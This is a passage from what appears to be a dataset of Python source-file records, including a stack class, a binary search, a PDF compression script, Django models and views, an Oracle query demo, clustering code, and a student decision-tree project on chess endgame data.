print(previousCloseHeading +\" \"+previousCloseValue)\n\n#-------------------now using for Loop\nfor i in range(0,8):\n\n Heading=soup_tablev[i].find_all(\"td\")[0].getText()\n Value=soup_tablev[i].find_all(\"td\")[1].getText()\n print(Heading +\" \"+Value)\n","sub_path":"scrap2.py","file_name":"scrap2.py","file_ext":"py","file_size_in_byte":1833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"4505686","text":"class stack_node():\n data = None\n last_node = None \n def __init__(self,data):\n self.data = data\n \n \nclass stack():\n top = None\n \n def push(self,item):\n item.last_node = self.top\n self.top = item\n \n \n def pop(self): \n if not self.top:\n return\n self.top = self.top.last_node\n\n def peek(self):\n return self.top\n \n def isEmpty(self):\n return True if self.top else False\n\nst_node = stack_node('Person1')\nst = stack()\nst.push(st_node)\nst_node = stack_node('Person2')\nst.push(st_node)\nst_node = stack_node('Person3')\nst.push(st_node)\nst_node = stack_node('Person4')\nst.push(st_node)\nprint(st.isEmpty())\nprint(st.peek().data)\nst.pop()\nprint(st.peek().data)\n","sub_path":"stack.py","file_name":"stack.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"629483018","text":"'''\n\n@author: wrileyherring\n'''\n\n#Declare number of input files\nfileNums = ['1','2','3','4','5']\n\n#Perform the Sum of K algorithm on all files\nfor num in fileNums:\n \n #Declare Input and Output Files\n filenameIn = 'in'+num+'.txt'\n filenameOut = 'out'+num+'.txt'\n \n #Read input file into algorithm\n f = open(filenameIn,'r')\n lines = f.readlines()\n target = int(lines[1])\n outputList = lines[2]\n listOfNumbers = lines[2].split(\" \")\n listOfNumbers.pop()\n \n #declare answer variables\n answer1 = 0\n answer2 = 0\n \n #iterate through list to see if sum values exist\n for num1 in listOfNumbers:\n \n for num2 in listOfNumbers:\n \n #check if the two selected values sum is equal to target\n if (int(num1) + int(num2)) == target:\n answer1 = num1\n answer2 = num2\n break\n \n #check if the algorithm found an answer\n \n #If it did not then write a no response to the output file \n if answer1 == 0 and answer2 ==0:\n outputFile = open(filenameOut,\"w+\")\n outputFile.write(str(target))\n outputFile.write('\\n')\n outputFile.write(outputList)\n outputFile.write('No')\n \n #if it did find an answer then write a yes response to the output file\n else:\n outputFile = open(filenameOut,\"w+\")\n outputFile.write(str(target))\n outputFile.write('\\n')\n outputFile.write(outputList)\n outputFile.write('Yes')\n outputFile.write('\\n')\n outputFile.write(answer1+'+'+answer2+'='+str(target))\n","sub_path":"sum_algorithm.py","file_name":"sum_algorithm.py","file_ext":"py","file_size_in_byte":1621,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"377527290","text":"# Uses the free iLovePDF API to compress PDF files.\n# https://developer.ilovepdf.com\n# Call e.g. as `python scripts/ilove_pdf_compress.py assets/**/*.pdf`.\n# Warning: This script compresses files in place.\n\nimport os\nimport sys\nfrom os.path import expanduser\n\nfrom dotenv import load_dotenv\nfrom pylovepdf.tools.compress import Compress\n\nload_dotenv()\nILP_KEY = os.getenv(\"ILOVEPDF_PUBLIC_KEY\")\n\nassert ILP_KEY, f\"Invalid iLovePDF API key: {ILP_KEY}\"\n\n# if filenames received as command line arguments are relative paths,\n# convert to absolute paths\npaths = [a if a.startswith(\"/\") else f\"{os.getcwd()}/{a}\" for a in sys.argv]\n# Keep only paths pointing to PDFs that exist.\npdfs = [p for p in paths if p.endswith(\".pdf\") and os.path.exists(p)]\n\nassert pdfs, \"Invalid arguments, no PDFs found.\"\n\nprint(\"PDFs to be compressed:\")\nfor pdf in pdfs:\n print(\"- \" + pdf)\n\n\n# https://stackoverflow.com/a/1094933\ndef sizeof_fmt(size):\n for unit in [\"B\", \"KB\", \"MB\", \"GB\", \"TB\", \"PB\"]:\n if abs(size) < 1024:\n return f\"{size:3.1f} {unit}\"\n size /= 1024\n\n\nfor pdf_path in pdfs:\n task = Compress(ILP_KEY, verify_ssl=True, proxies=None)\n # task.compression_level = \"extreme\" # one of low, recommended, extreme\n\n task.add_file(pdf_path)\n\n dir_name, pdf_name = os.path.split(pdf_path)\n\n task.set_output_folder(dir_name)\n task.execute()\n compressed_pdf_name = task.download()\n task.delete_current_task()\n\n compressed_pdf_path = f\"{dir_name}/{compressed_pdf_name}\"\n\n orig_size = os.path.getsize(pdf_path)\n compressed_size = os.path.getsize(compressed_pdf_path)\n\n print(f\"iLovePDF COMPRESSION RESULTS for {pdf_name}\")\n\n diff = orig_size - compressed_size\n if diff > 0:\n percent_diff = 100 * diff / orig_size\n print(\n f\"Compressed file is {sizeof_fmt(compressed_size)} \"\n f\"which is {sizeof_fmt(diff)} ({percent_diff:.2g} %) \"\n f\"smaller than the original ({sizeof_fmt(orig_size)}).\"\n )\n print(\"Using the compressed file.\")\n if sys.platform == \"darwin\": # move file to trash on macOS\n print(\"Old file moved to trash.\")\n HOME = expanduser(\"~\")\n os.rename(pdf_path, f\"{HOME}/.Trash/{pdf_name}\")\n else: # simply delete it on other OSes\n print(\"Old file deleted.\")\n os.remove(pdf_path)\n os.rename(compressed_pdf_path, pdf_path)\n else:\n print(\"Compressed PDF is no smaller than the original\")\n print(\"Keeping the original file\")\n os.remove(compressed_pdf_path)\n","sub_path":"scripts/ilove_pdf_compress.py","file_name":"ilove_pdf_compress.py","file_ext":"py","file_size_in_byte":2571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"587225468","text":"import unittest\nfrom common import HTMLTestRunnerNew\nimport time\n\ntestsuite = unittest.TestSuite()\nsuite = unittest.defaultTestLoader.discover('./test_cases')\ntestsuite.addTests(suite)\ncurrenttime = time.strftime('%Y-%m-%d-%H-%M-%S')\nfilename = r'report/reporter.html'\nwith open(filename, 'wb+') as f:\n HTMLTestRunnerNew.HTMLTestRunner(stream=f,\n title='学生管理系统',\n description='balala',\n tester='xml').run(testsuite)","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"523337340","text":"def inter(data, num):\n high = len(data)\n low = 0\n while True:\n if low >= high:\n return \"NOT FOUND\"\n index = (high + low) // 2\n\n if data[index] > num:\n high = index - 1\n elif data[index] < num:\n low = index + 1\n elif data[index] == num:\n return index\n\ndef recur(data, num, high, low):\n if low >= high:\n return \"NOT FOUND\"\n index = (high + low) // 2\n\n if data[index] > num:\n high = index\n elif data[index] < num:\n low = index\n elif data[index] == num:\n return index\n return recur(data, num, high, low)\n\nn = int(input(\"Eneter an integer to search : \"))\ndata = [10, 20, 30, 40, 50, 60, 70, 80, 90, 100]\nmethod = int(input(\"Enter method of search (1. Binary Search 2. Recursive binary search) : \"))\nmethod_list = [inter, recur]\nhigh = len(data)\nlow = 0\nif method == 2:\n result = method_list[method-1](data, n, high, low)\n print(n,\"is at position\",result,\".\")\nelif method == 1:\n result = method_list[method-1](data, n)\n print(n,\"is\",result,\".\")\n","sub_path":"Data_Structure/codes/20181688정민재-Lab1-1.py","file_name":"20181688정민재-Lab1-1.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"302332791","text":"import os\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", 'ProRedSocial.settings')\n\n\n\n\n\nimport django\ndjango.setup()\n\nimport random\nfrom faker import Faker\nfakegen = Faker()\n\nfrom publicacion.models import Publicacion,ConsultarPublicacion\nfrom usuario.models import Usuario\n\n\n\ndef populate(N=5):\n for entry in range(N):\n id_usuarioc = random.choice(range(Usuario.objects.count()))\n \n if (id_usuarioc==0):\n id_usuarioc = id_usuarioc+1\n \n id_publicacionc = random.choice(range(Publicacion.objects.count()))\n\n if(id_publicacionc==0):\n id_publicacionc = id_publicacionc +1\n\n\n \n fake_usuario =Usuario.objects.get(id_usuario=id_usuarioc)\n fake_publicacion = Publicacion.objects.get(id_publicacion=id_publicacionc)\n\n \n # Nueva entrada de Datos\n \n consultarP = ConsultarPublicacion.objects.get_or_create(usuario=fake_usuario,publicacion=fake_publicacion)[0]\n \n\nif __name__ == '__main__':\n print(\"Rellenando Base de Datos\")\n populate(1000)\n print(\"Completado\")\n","sub_path":"Sprint-8/ProRedSocial/populate_consultar_publicacion.py","file_name":"populate_consultar_publicacion.py","file_ext":"py","file_size_in_byte":1073,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"603330386","text":"# -*- coding: utf-8 -*-\r\nfrom sklearn.cluster import DBSCAN\r\nfrom sklearn.cluster import AgglomerativeClustering\r\nimport time\r\nimport numpy as np\r\nimport config\r\n\r\n\r\nif __name__ == '__main__':\r\n print(time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time())))\r\n IN_PATH = config.REPRESENTATION_PATH\r\n IN_PATH_L = config.INFO_PATH\r\n OUT_PATH = config.CLUSTER_PATH\r\n data = np.loadtxt(IN_PATH,delimiter=',',encoding='UTF-8')\r\n data_l = np.loadtxt(IN_PATH_L,delimiter=',',encoding='UTF-8')\r\n \r\n #c = DBSCAN(eps = 0.01,min_samples=10000,metric='euclidean').fit_predict(data)\r\n c = AgglomerativeClustering(n_clusters=8,linkage=\"complete\", affinity='euclidean').fit_predict(data)\r\n \r\n idd = np.arange(c.shape[0])\r\n data = np.column_stack((idd,data_l,c))\r\n np.savetxt(OUT_PATH,data,delimiter=',')\r\n print(time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time())))","sub_path":"GRUAutoEncoder/cluster.py","file_name":"cluster.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"414315709","text":"from __future__ import unicode_literals\nfrom django.db import models\nfrom ..log_reg.models import User\n\nclass ProductManager(models.Manager):\n def valid(self, data):\n user_messages = []\n user_id = data['user_id']\n product = data['product']\n if len(product) < 3:\n user_messages.append(\"Please don't leave the field blank and the name must be at least three characters or more\")\n if user_messages:\n return (False, user_messages)\n else:\n get_user = User.objects.get(pk=user_id)\n new_product = Product.objects.create(product_name = product)\n get_product = Product.objects.get(product_name=product)\n get_product.user_id.add(get_user)\n get_product.save()\n user_messages.append(\"You have successfully added a \" + product + \"!\")\n return (True, user_messages)\n def clone(self, data):\n user_messages = []\n copy_id = data['copy_id']\n user_id = data['user_id']\n get_item = Product.objects.get(pk=copy_id)\n get_item.pk = user_id\n get_item.save()\n user_messages.append(\"Successfully added item to your list!\")\n return (True, user_messages)\n\nclass Product(models.Model):\n user_id = models.ManyToManyField(User, related_name = 'users_products')\n product_name = models.CharField(max_length = 255)\n created_at = models.DateTimeField(auto_now_add = True)\n updated_at = models.DateTimeField(auto_now = True)\n objects = ProductManager()\n","sub_path":"apps/wishlist_app/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"14016342","text":"#cx_Oracle 패키지 모듈들을 import\nimport cx_Oracle as oci\n\n#오라클 서버와 연결(Connection 맺기)\nconn = oci.connect('hr/123456@localhost:1521/xe')\n\n#Connection 확인\nprint(conn.version)\n\n#Oracle DB의 test_member 테이블 검색(select)\ncursor = conn.cursor() # cursor 객체 얻어오기\ncursor.execute('select*from employees')#SQL 문장 실행\n#print(cursor.fetchall())\nprint()\nfor rs in cursor:\n print(rs)\ncursor.close() #cursor 객체 닫기\n#Oracle 서버와 연결 끊기\nconn.close\n","sub_path":"python_Source/untitled2/chapter12/oracle_ex01.py","file_name":"oracle_ex01.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"611900441","text":"\"\"\"Project 550-01-Dtree\nTeam members\n1) Sean Pereira - Sean.Pereira@student.csulb.edu\n2) Sushmitha Pasala - Sushmitha.Pasala@student.csulb.edu\n3) Vatsal Patel - Vatsal.Patel01@student.csulb.edu\"\"\"\n\nimport subprocess\n\ncommand = \"pip install numpy\" #command to be executed \nres = subprocess.call(command, shell = True)\n\ncommand = \"pip install pandas\" #command to be executed\nres = subprocess.call(command, shell = True)\n\"\"\"\nTHE CODE\nCreated a Class containing all the required datatypes, and functions for building Decision Tree.\nDATA TYPES\n\tdf - DataFrame to save csv file content and to perform easy panda functions\n\tleft - left subtree/classifier\n\tright - right subtree/classifier\n\tfkey - feature name on which it decides classification\n\tfval - Feature value which is used to divide data set for classifing\n\tdepth - gives current tree depth\n\tmax_depth - gives max discoverable depth\n\ttarget - label to be classified for\nFUNCTIONS\ninit - Initializes all values for the object\n\tParameters -\n\tDepth - current depth of tree\n\tMax_depth - Maximum depth\n\tReturns - None\nlabel_output - Alters label for convinency of code\n\tParameters - None\n\tReturns - None\nprocessing_data - Converts multiple values to binary values and generating n number of columns from 1 column\n\tParameters -\n\tData - the DataFrame\n\tReturns -\n\t5 Dfs - 5 different dataframes for each feature vector\nentropy - calculates entropy of desired feature\n\tParameters -\n\tCol - columns of the record of which entropy has to be calculated\n\tReturns - entropy as float\ninformation_gain - Calculates information gain from entropy of possible nodes\n\tParameters -\n\tx_data - Feature Data set\n\tfkey - Feature name\n\tfval - Feature Value\n\tReturns -\n\tinfo_gain - returns information gain\ndivide_data - Divides the data set for classifying using maximum all info gains\n\tParameters -\n\tx_data - Feature Data set\n\tfkey - Feature name\n\tfval - Feature Value\n\tReturns -\n\tX_left - left split Dataset\n\tX_right - right split Dataset\nfrequency_of_Output - gives frequency of the labels present in x_train datset\n\tParameters -\n\tX_train - training Data set\n\tReturns -\n\tMax(frequent label)\ntrain - calls different functions and trains the decision tree using training dataset ans its labels\n\tParameters -\n\tX_train - training Data set\n\tReturns - None\npredict - label to be classified for\n\tParameters -\n\tTest - Testing Data set\n\tReturns -\nPredicted class\n\tdataframe - label to be classified for\n\tParameters - None\n\tReturns -\n\twhole Dataframe\"\"\"\nimport pandas as pd\nimport numpy as np\nimport random\n\n\nclass DecisionTree:\n def __init__(self,depth=0,max_depth=5):\n #Read the data from csv file and name the columns\n \n c=['White King file (column)','White King rank (row)','White Rook file','White Rook rank','Black King file','Black King rank','Output']\n self.df=pd.read_csv('550-p1-cset-krk-1.csv',header=None)\n self.df=self.df.rename({0:'White King file (column)',1:'White King rank (row)',2:'White Rook file',3:'White Rook rank',4:'Black King file',5:'Black King rank',6:'Output'}, axis=1)\n df0,df1,df2,df3,df4,df5=self.processing_data(self.df)\n self.label_output()\n self.df=pd.concat([df0,df1,df2,df3,df4,df5,self.df['Output']],axis=1)\n self.left=None # left branch\n self.right=None # right branch\n self.info_gain = 0.0\n self.fkey=None \n self.fval=None\n self.depth=depth\n self.max_depth=max_depth\n self.target=None\n self.parent=None\n self.d1={17:'draw',0:'zero',1:'one',2:'two',3:'three',4:'four',5:'five',6:'six',7:'seven',8:'eight',9:'nine',10:'ten',11:'eleven',12:'twelve',13:'thirteen',14:'fourteen',15:'fifteen',16:'sixteen'}\n \n def label_output(self):\n #Converts Labels to int numbers\n self.d={'draw':17,'zero':0,'one':1,'two':2,'three':3,'four':4,'five':5,'six':6,'seven':7,'eight':8,'nine':9,'ten':10,'eleven':11\n ,'twelve':12,'thirteen':13,'fourteen':14,'fifteen':15,'sixteen':16}\n #iterating over each column in dataframe\n for column in self.df:\n if column=='Output':\n s1=self.df[column].values\n for j,i in enumerate(s1):\n s1[j]=self.d[i]\n break\n self.df=self.df.assign(Output=s1,inplace='True')\n\n \n \n def processing_data(self,data):\n # Labeling each data to 0-1, converting categorical to numerical data\n \n columns_text_0=['White King file (a)','White King file (b)','White King file (c)','White King file (d)','White King rank (e)','White King file (f)','White King rank (g)','White King file (h)']\n columns_data_0=['White King rank (1)','White King rank (2)','White King rank (3)','White King rank (4)','White King rank (5)','White King rank (6)','White King rank (7)','White King rank (8)']\n columns_text_1=['White Rook file (a)','White Rook file (b)','White Rook file (c)','White Rook file (d)','White Rook file (e)','White Rook file (f)','White Rook file (g)','White Rook file (h)']\n columns_data_1=['White Rook rank (1)','White Rook rank (2)','White Rook rank (3)','White Rook rank (4)','White Rook rank (5)','White Rook rank (6)','White Rook rank (7)','White Rook rank (8)']\n columns_text_2=['Black King file (a)','Black King file (b)','Black King file (c)','Black King file (d)','Black King file (e)','Black King file (f)','Black King file (g)','Black King file (h)']\n columns_data_2=['Black King rank (1)','Black King rank (2)','Black King rank (3)','Black King rank (4)','Black King rank (5)','Black King rank (6)','Black King rank (7)','Black King rank (8)']\n index=0\n# grabing each column to change it with binary columns\n for i in ['White King file (column)','White King rank (row)','White Rook file','White Rook rank','Black King file','Black King rank']:\n alphabets=[]\n numericals=[]\n for columndata in data[i]:\n letter=[0]*8\n numbers=[0]*8\n if not isinstance(columndata, int):\n letter[ord(columndata)-ord('a')]=1\n alphabets.append(letter)\n else:\n numbers[ord(str(columndata))-ord('0')-1]=1\n numericals.append(numbers)\n# Updating dataframe for the data manupilation\n if index==0:\n df0=pd.DataFrame(data=alphabets, columns=columns_text_0)\n if index==1:\n df1=pd.DataFrame(data=numericals, columns=columns_data_0)\n if index==2:\n df2=pd.DataFrame(data=alphabets, columns=columns_text_1)\n if index==3:\n df3=pd.DataFrame(data=numericals, columns=columns_data_1)\n if index==4:\n df4=pd.DataFrame(data=alphabets, columns=columns_text_2)\n if index==5:\n df5=pd.DataFrame(data=numericals, columns=columns_data_2)\n index+=1\n return (df0,df1,df2,df3,df4,df5)\n# returns each column's dataframes\n \n def entropy(self,col):\n #calculates Entropy using log formula\n counts=np.unique(col,return_counts=True)\n ent=0.0\n for i in counts[1]:\n# probability\n p=i/col.shape[0]\n# calculating entropy\n ent+=(-1.0*p*np.log2(p))\n #heres the formula\n return ent\n #returns entropy\n \n def information_gain(self,x_data,fkey,fval):# calculates information gain from entropy of possible nodes\n right,left=self.divide_data(x_data,fkey,fval)\n l=float(left.shape[0])/x_data.shape[0]\n r=float(right.shape[0])/x_data.shape[0]\n if left.shape[0]==0 or right.shape[0]==0:\n return float(\"-inf\")\n print(\"Average entropy:\",(l*self.entropy(left.Output)+r*self.entropy(right.Output)))\n# finding information gain \n i_gain=self.entropy(x_data.Output)-(l*self.entropy(left.Output)+r*self.entropy(right.Output))\n return i_gain#returns information gain of that probable node\n \n def divide_data(self,x_data,fkey,fval):\n #generates two dataframe as per the feature and its dividing value\n #fkey: Feature names \n #fval: Feature values\n \n x_right=pd.DataFrame([],columns=x_data.columns)\n x_left=pd.DataFrame([],columns=x_data.columns)\n for i in range(x_data.shape[0]):\n val = x_data[fkey].loc[i]\n if val >= fval:\n x_right = x_right.append(x_data.iloc[i])\n else:\n x_left = x_left.append(x_data.iloc[i])\n return x_right,x_left#returns left and right dataframes\n \n def frequency_of_Output(self, x_train):\n \n self.dict={}\n for i in x_train:\n if i not in self.dict:\n self.dict[i]=1\n else:\n self.dict[i]+=1\n return max(self.dict, key= lambda d: self.dict[d])\n \n def train(self,x_train,parent): #calls different functions and trains the decision tree using training dataset ans its labels\n features=self.df.columns[:-1]\n info_gains=[]\n for i in features:\n i_gain=self.information_gain(x_train,i,0.5)\n info_gains.append(i_gain)\n \n self.parent=parent\n self.fkey=features[np.argmax(info_gains)]\n self.fval=0.5\n self.info_gain = max(info_gains)\n print(\"Splitting Tree \",self.fkey,\" with info gain \",max(info_gains),\"Parent Node:\",self.parent)\n data_right,data_left=self.divide_data(x_train,self.fkey,self.fval)\n data_right=data_right.reset_index(drop=True)\n data_left=data_left.reset_index(drop=True)\n if data_left.shape[0]==0 or data_right.shape[0]==0:\n \n self.target=self.d1[self.frequency_of_Output(x_train.Output)]\n return \n if self.depth>=self.max_depth:\n \n self.target=self.d1[self.frequency_of_Output(x_train.Output)]\n return \n self.left=DecisionTree(self.depth+1,self.max_depth)\n self.left.train(data_left,self.fkey)\n self.right=DecisionTree(self.depth+1,self.max_depth)\n self.right.train(data_right,self.fkey)\n\n self.target=self.d1[self.frequency_of_Output(x_train.Output)]\n return \n \n def predict(self,test): #predicts the possible classification\n# compares if value is higher or lower than classifier value\n if test[self.fkey] > self.fval:\n# Checks if tree has right node\n if self.right is None:\n# returns the classified class\n return self.target\n return self.right.predict(test)\n if test[self.fkey] <= self.fval:\n# Checks if tree has left node\n if self.left is None:\n# returns the classified class\n return self.target\n return self.left.predict(test)\n def dataframe(self):# returns whole dataframe\n return self.df\n\n \n\n \n#Creating Object of first Decision Tree\nd=DecisionTree()\n\n\n\n# Splitting Data Into training, test and validate :60,20,20\ntrain_data, validate_data, test_data = np.split(d.dataframe().sample(frac=1,random_state=42), [int(.6*len(d.dataframe())), int(.8*len(d.dataframe()))])\n\n#Reset Index to 0\ntrain_data=train_data.reset_index(drop=True)\ntest_data=test_data.reset_index(drop=True)\n\n# Building tree\nd.train(train_data,None)\n\n\"\"\"Decision tree into Dictionary\n\tdecision_tree_algorithm - traverse through whole tree and creates dictionary\n\t\tParameters -\n\t\t\td - Decision Tree Class\n\t\t\tcounter - Counter for tree level\n\t\tReturns -\n\t\t\ttree - tree in form of Dictionary\"\"\"\n\ndef decision_tree_algorithm(d, counter=0): \n \n if (d.left is None) and (d.right is None) :\n return d.target\n fval = random.random()\n counter += 1\n # instantiate sub-tree\n question = \"{} <= {} with info_gain = {}\".format(d.fkey, fval,d.info_gain) # edit\n sub_tree = {question: []}\n\n # find answers (recursion)\n yes_answer = decision_tree_algorithm(d.left, counter)\n no_answer = decision_tree_algorithm(d.right, counter)\n\n # If the answers are the same, then there is no point in asking the qestion.\n # This could happen when the data is classified even though it is not pure\n # yet (min_samples or max_depth base cases).\n if yes_answer == no_answer:\n sub_tree = yes_answer\n else:\n sub_tree[question].append(yes_answer)\n sub_tree[question].append(no_answer)\n\n return sub_tree\n'''Printing the Decison Tree with Parent Nodes, Q-Nodes and Class of Leaf Nodes for Tree #1'''\ntree = decision_tree_algorithm(d)\nprint(tree)\n\n'''Train DataSet\nHere we show the sneak peak of the train dataset containing 49 columns and 132 rows including output label\n\nThat was randomly selected from the whole dataset and this consists of 60% of the whole dataset.\n\nAnd this consist some of the left over predictions from the previous training with probability of 3 times more than previous.'''\nprint(train_data.head())\n\n'''Validation DataSet\nHere we show the sneak peak of the validation dataset containing 49 columns and 44 rows including output label\n\nThat was randomly selected from the whole dataset and this consists of 20% of the whole dataset.'''\nprint(validate_data.head())\n\n'''Holdout DataSet\nHere we show the sneak peak of the test/holdout dataset containing 49 columns 44 rows including output label\n\nThat was randomly selected from the whole dataset and this consists of 20% of the whole dataset.'''\nprint(test_data.head())\n\n'''BAGGING Function\n\tFUNCTIONS\n\t\tbagging_substitution - Adds falsily classified entries of holdout to training with 3 time probability for better trial of training decision tree\n\t\tParameters -\n\t\t\tt_set - previous training set\n\t\t\tholdout_set - current holdout set\n\t\t\td - Tree Object\n\t\tReturns -\n\t\t\tfinal_t_set - updated training set\n\t\t\tfinal_holdout_set - same holdout set\n\t\taccuracy - Checks for inaccuracy\n\t\t\tParameters -\n\t\t\t\ttest_set - Test Data set\n\t\t\t\td - Tree Object\n\t\t\tReturns -\n\t\t\t\treturns accuracy'''\n\ndef bagging_susbstition(train_set, holdout_set,d): \n \n # adds falsily classified entries of holdout to training with 3 time probability\n #for better trial of training decision tree\n\n \n Training_indexes = list(train_set.index)\n Testing_indexes = list(holdout_set.index)\n combined_set=Training_indexes\n combined_set.sort()\n \n \n final_train_set = []\n final_holdout_set = []\n \n incorrect_array=accuracy(d,holdout_set)[1]\n\n\n for i in incorrect_array:\n combined_set.append(i)\n combined_set.append(i)\n\n for _ in range(len(train_set)):\n index = random.randint(0, len(train_set) - 1)\n final_train_set.append(combined_set[index])\n\n\n # makining sure duplicate indixes are not in final_train_set\n for index_value in combined_set:\n if index_value not in final_holdout_set:\n final_holdout_set.append(index_value)\n \n for index_value in final_train_set:\n if index_value in final_holdout_set:\n final_holdout_set.remove(index_value)\n \n \n if len(final_holdout_set)> len(Testing_indexes):\n final_holdout_set=final_holdout_set[:44]\n \n \n\n return final_train_set, final_holdout_set\n\ndef accuracy(d,test_data): #checks for inaccuracy\n\n count=0\n incorrect=[]\n correct=[]\n old_data=test_data.index\n\n test_data=test_data.reset_index(drop=True)\n y_pred=[]\n\n for i in range(test_data.shape[0]):\n y_pred.append(d.predict(test_data.loc[i]))\n\n\n for i in range(len(y_pred)):\n if y_pred[i]== d.d1[test_data['Output'][i]]:\n count+=1\n correct.append(i)\n else:\n incorrect.append(i)\n \n new_data=[]\n for i in incorrect:\n new_data.append(old_data[i]) \n return count/len(test_data),new_data\n\nprint(\"Accuracy of 1st DTree:\",accuracy(d,test_data)[0]*100,\"%\")\nTraining_Set, Holdout_Set = bagging_susbstition(train_data, test_data,d)\n\n'''Converting Indexes to Dataframe Function\n\tFUNCTION\n\t\tconvert_indices_to_DataFrame - Converts DataFrame from Numpy Array\n\tParameters -\n\t\tTraining_set - previous training set\n\t\t\td - Tree Object\n\t\tReturns -\n\t\t\tv1 - Array of indices'''\ndef convert_indices_to_DataFrame(Training_Set,d): #converts dataframe from numpy array\n index1=[]\n Training_Set \n d1=[]\n #iterates through the all rows of dataframe with index\n for i, j in d.dataframe().iterrows():\n if i in Training_Set:\n c1=Training_Set.count(i)\n for _ in range(c1):\n d1.append(d.dataframe()[i:i+1].values)\n v1=[]\n for i in d1:\n b1=[]\n for t in i:\n for r in t:\n # appending the rows\n b1.append(r)\n v1.append(b1)\n return v1\n\n#d1=DecisionTree()\n#obtaining training set from bagging\nd1=DecisionTree()\nTraining_Set_d2 = pd.DataFrame(data= convert_indices_to_DataFrame(Training_Set,d1),columns=d1.dataframe().columns)\n# obtaining holdout set from bagging\nHoldOut_Set_d2 = pd.DataFrame(data= convert_indices_to_DataFrame(Holdout_Set,d1),columns=d1.dataframe().columns)\nd1.train(Training_Set_d2,None)\n\n'''Printing the Decison Tree with Parent Nodes, Q-Nodes and Class of Leaf Nodes for Tree #2'''\ntree = decision_tree_algorithm(d1)\nprint(tree)\n\n'''Training set for decision tree #2'''\nprint(Training_Set_d2.shape)\n\n'''Validate set for decision tree #2'''\nprint(validate_data.shape)\n\n'''HoldOut set for decision tree #2'''\nprint(HoldOut_Set_d2.shape)\n\n'''Accuracy of Decision Tree #2'''\nprint(\"Accuracy of 2nd DTree:\",accuracy(d1,HoldOut_Set_d2 )[0]*100,\"%\")\n\n'''Ensemble voting of Dtree #1 and Dtree #2\n\tFUNCTION\n\t\tensemble_tree - Returns Best Tree and accuracy of Validation Data\n\t\tParameters -\n\t\t\ttree1 - object of Tree1\n\t\t\ttree2 - object of Tree2\n\t\t\tvalidation_set - input of validation_set\n\t\tReturns -\n\t\t\twinning_tree, validating_accuracy - Tree with most accuracy and accuracy of validation_data'''\n\ndef ensemble_tree(tree1,tree2,validation_set):\n \n \n accuracy_tree1 = accuracy(tree1,validation_set)[0]*100\n accuracy_tree2 = accuracy(tree2,validation_set)[0]*100\n \n if accuracy_tree1 > accuracy_tree2:\n return 'Tree1',accuracy_tree1\n else:\n return 'Tree2',accuracy_tree2\n \nwinning_tree, validating_accuracy= ensemble_tree(d,d1,validate_data)\nprint('The winning tree is:',winning_tree,\"with accuracy:\",validating_accuracy,\"%\")","sub_path":"Project_PR.py","file_name":"Project_PR.py","file_ext":"py","file_size_in_byte":18472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"162240170","text":"palavras = ['exercício', 'girafa', 'abençoado', 'urso', 'tatu', 'raiz', 'zebra' 'baço', 'tamanduá', 'banana', 'gigante', 'abarrotando', 'destino', 'amor', 'caju', 'dança', 'juri', 'bafo', 'palhaço', 'travesseiro', 'gelo', 'abismavam', 'santinho', 'abalar', 'dolorido', 'aba', 'abra', 'tarde', 'gás', 'abaixo', 'jacaré', 'urina', 'amarelo', 'gênero', 'canja', 'balaio', 'abacateiro', 'uísque', 'abandonarei', 'joio', 'noite', 'gêmeos', 'baixo', 'ralo', 'herói', 'utopia', 'amanhã', 'judô', 'ganho', 'último', 'aborígene', 'loiro', 'alergia', 'manhã', 'prêmio', 'abajur', 'débil', 'abnegar', 'ultraje', 'garimpo', 'abacaxi', 'abismo', 'balão', 'geografia', 'maravilhoso', 'fada', 'abdômen', 'abolição', 'editor', 'gênero', 'xadrez', 'aborto', 'sábio', 'abaco', 'abdominal', 'elevador', 'galo', 'abelha', 'aborrecer', 'azul', 'dado', 'rato', 'ablativo', 'fila', 'egoísta', 'abacate', 'uva', 'abraço', 'elegante', 'abarcar', 'raro', 'ajuste', 'avó', 'sapo', 'abutre', 'uso', 'editora']\n\n\nct=0\nfor linha in palavras:\n if linha.find(\"o\") == -1:\n print(\"não tem o\")\n else:\n print(linha)\n ct=ct+1\n\nprint(\"Qt palavras que contem o: \", ct)","sub_path":"FIAP_ON/FASE_4_CTF/T3-08.py","file_name":"T3-08.py","file_ext":"py","file_size_in_byte":1185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"132895281","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nfrom django.shortcuts import render, HttpResponse, redirect\nfrom django.contrib.auth import authenticate, login\nfrom .models import Users, Trip, Travelers\nfrom django.contrib import messages\nfrom django.contrib.auth import authenticate, login\n# Create your views here.\ndef index(request):\n # Trip.objects.all().destroy()\n # Travelers.travelersManager.all().delete()\n return render(request, \"users/usersIndex.html\")\ndef register(request):\n if request.method == 'POST':\n valid = Users.userManager.register(\n request.POST['name'],\n request.POST['last'],\n request.POST['email'],\n request.POST['password'],\n request.POST['confirmation']\n )\n if valid[0]:\n request.session[\"email\"] = {\n \"id\": 